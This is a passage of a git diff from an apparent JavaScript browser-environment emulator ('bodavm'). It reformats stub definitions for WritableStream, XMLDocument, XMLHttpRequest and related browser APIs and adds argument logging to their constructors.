bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "locked_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "getWriter", {configurable:true, enumerable:true, writable:true, value:function getWriter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "getWriter", arguments)}},'prototype'); +// WritableStream对象 + +bodavm.memory.globalobj['WritableStream'] = function WritableStream() { + console.log_copy('WritableStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.WritableStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStream'], "WritableStream"); +bodavm.toolsFunc.defineProperty('WritableStream', "locked", { + configurable: true, + enumerable: true, + get: function locked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "locked_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStream', "getWriter", { + configurable: true, + enumerable: true, + writable: true, + value: function getWriter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "getWriter", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WritableStreamDefaultController.js b/env_xbb_lastest_jsdom/env/WritableStreamDefaultController.js index 29383f1d..9d716c71 100644 --- a/env_xbb_lastest_jsdom/env/WritableStreamDefaultController.js +++ b/env_xbb_lastest_jsdom/env/WritableStreamDefaultController.js @@ -1,5 +1,33 @@ -// WritableStreamDefaultController对象 -bodavm.memory.globalobj['WritableStreamDefaultController'] = function WritableStreamDefaultController(){if (!(this instanceof WritableStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultController'], "WritableStreamDefaultController"); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "error", arguments)}},'prototype'); +// WritableStreamDefaultController对象 + +bodavm.memory.globalobj['WritableStreamDefaultController'] = function WritableStreamDefaultController() { + console.log_copy('WritableStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WritableStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultController'], "WritableStreamDefaultController"); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "error", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/WritableStreamDefaultWriter.js b/env_xbb_lastest_jsdom/env/WritableStreamDefaultWriter.js index 4a3fa06f..d08cfcab 100644 --- a/env_xbb_lastest_jsdom/env/WritableStreamDefaultWriter.js +++ b/env_xbb_lastest_jsdom/env/WritableStreamDefaultWriter.js @@ -1,10 +1,73 @@ -// WritableStreamDefaultWriter对象 -bodavm.memory.globalobj['WritableStreamDefaultWriter'] = function WritableStreamDefaultWriter(){if (!(this instanceof WritableStreamDefaultWriter)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WritableStreamDefaultWriter': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultWriter'], "WritableStreamDefaultWriter"); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "write", arguments)}},'prototype'); +// WritableStreamDefaultWriter对象 + +bodavm.memory.globalobj['WritableStreamDefaultWriter'] = function WritableStreamDefaultWriter() { + console.log_copy('WritableStreamDefaultWriter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WritableStreamDefaultWriter)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WritableStreamDefaultWriter': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultWriter'], "WritableStreamDefaultWriter"); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "write", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XMLDocument.js b/env_xbb_lastest_jsdom/env/XMLDocument.js index 3bbd942c..6f66d3d0 100644 --- a/env_xbb_lastest_jsdom/env/XMLDocument.js +++ b/env_xbb_lastest_jsdom/env/XMLDocument.js @@ -1,5 +1,19 @@ -// XMLDocument对象 -bodavm.memory.globalobj['XMLDocument'] = function XMLDocument(){if (!(this instanceof XMLDocument)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLDocument'], "XMLDocument"); -bodavm.memory.globalobj['XMLDocument'].prototype.__proto__=bodavm.memory.globalobj['Document'].prototype; -bodavm.memory.globalobj['XMLDocument'].__proto__=bodavm.memory.globalobj['Document']; +// XMLDocument对象 + +bodavm.memory.globalobj['XMLDocument'] = function XMLDocument() { + console.log_copy('XMLDocument 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLDocument)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLDocument'], "XMLDocument"); +bodavm.memory.globalobj['XMLDocument'].prototype.__proto__ = bodavm.memory.globalobj['Document'].prototype; +bodavm.memory.globalobj['XMLDocument'].__proto__ = bodavm.memory.globalobj['Document']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XMLHttpRequest.js b/env_xbb_lastest_jsdom/env/XMLHttpRequest.js index d36dbc65..139758e3 100644 --- a/env_xbb_lastest_jsdom/env/XMLHttpRequest.js +++ b/env_xbb_lastest_jsdom/env/XMLHttpRequest.js @@ -1,34 +1,236 @@ -// XMLHttpRequest对象 -bodavm.memory.globalobj['XMLHttpRequest'] = function XMLHttpRequest(){this._boarg= new bodaobj.window.XMLHttpRequest();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequest'], "XMLHttpRequest"); -bodavm.memory.globalobj['XMLHttpRequest'].prototype.__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequest'].__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget']; -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "timeout", {configurable:true, enumerable:true, get:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_get", arguments)}, set:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "withCredentials", {configurable:true, enumerable:true, get:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_get", arguments)}, set:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "upload", {configurable:true, enumerable:true, get:function upload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "upload_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseURL", {configurable:true, enumerable:true, get:function responseURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "statusText", {configurable:true, enumerable:true, get:function statusText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "statusText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseType", {configurable:true, enumerable:true, get:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_get", arguments)}, set:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "response", {configurable:true, enumerable:true, get:function response (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "response_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseText", {configurable:true, enumerable:true, get:function responseText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseXML", {configurable:true, enumerable:true, get:function responseXML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseXML_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getAllResponseHeaders", {configurable:true, enumerable:true, writable:true, value:function getAllResponseHeaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getAllResponseHeaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getResponseHeader", {configurable:true, enumerable:true, writable:true, value:function getResponseHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getResponseHeader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "overrideMimeType", {configurable:true, enumerable:true, writable:true, value:function overrideMimeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "overrideMimeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "send", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "setRequestHeader", {configurable:true, enumerable:true, writable:true, value:function setRequestHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "setRequestHeader", arguments)}},'prototype'); +// XMLHttpRequest对象 + +bodavm.memory.globalobj['XMLHttpRequest'] = function XMLHttpRequest() { + console.log_copy('XMLHttpRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XMLHttpRequest(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequest'], "XMLHttpRequest"); +bodavm.memory.globalobj['XMLHttpRequest'].prototype.__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequest'].__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "onreadystatechange", { + configurable: true, + enumerable: true, + get: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_get", arguments); + }, + set: function onreadystatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "timeout", { + configurable: true, + enumerable: true, + get: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_get", arguments); + }, + set: function timeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "withCredentials", { + configurable: true, + enumerable: true, + get: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_get", arguments); + }, + set: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "upload", { + configurable: true, + enumerable: true, + get: function upload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "upload_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseURL", { + configurable: true, + enumerable: true, + get: function responseURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "statusText", { + configurable: true, + enumerable: true, + get: function statusText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "statusText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseType", { + configurable: true, + enumerable: true, + get: function responseType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_get", arguments); + }, + set: function responseType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "response", { + configurable: true, + enumerable: true, + get: function response() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "response_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseText", { + configurable: true, + enumerable: true, + get: function responseText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseText_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseXML", { + configurable: true, + enumerable: true, + get: function responseXML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseXML_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getAllResponseHeaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllResponseHeaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getAllResponseHeaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getResponseHeader", { + configurable: true, + enumerable: true, + writable: true, + value: function getResponseHeader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getResponseHeader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "overrideMimeType", { + configurable: true, + enumerable: true, + writable: true, + value: function overrideMimeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "overrideMimeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "send", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "setRequestHeader", { + configurable: true, + enumerable: true, + writable: true, + value: function setRequestHeader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "setRequestHeader", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XMLHttpRequestEventTarget.js b/env_xbb_lastest_jsdom/env/XMLHttpRequestEventTarget.js index de5ed696..c20511cc 100644 --- a/env_xbb_lastest_jsdom/env/XMLHttpRequestEventTarget.js +++ b/env_xbb_lastest_jsdom/env/XMLHttpRequestEventTarget.js @@ -1,12 +1,89 @@ -// XMLHttpRequestEventTarget对象 -bodavm.memory.globalobj['XMLHttpRequestEventTarget'] = function XMLHttpRequestEventTarget(){if (!(this instanceof XMLHttpRequestEventTarget)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestEventTarget'], "XMLHttpRequestEventTarget"); -bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequestEventTarget'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, 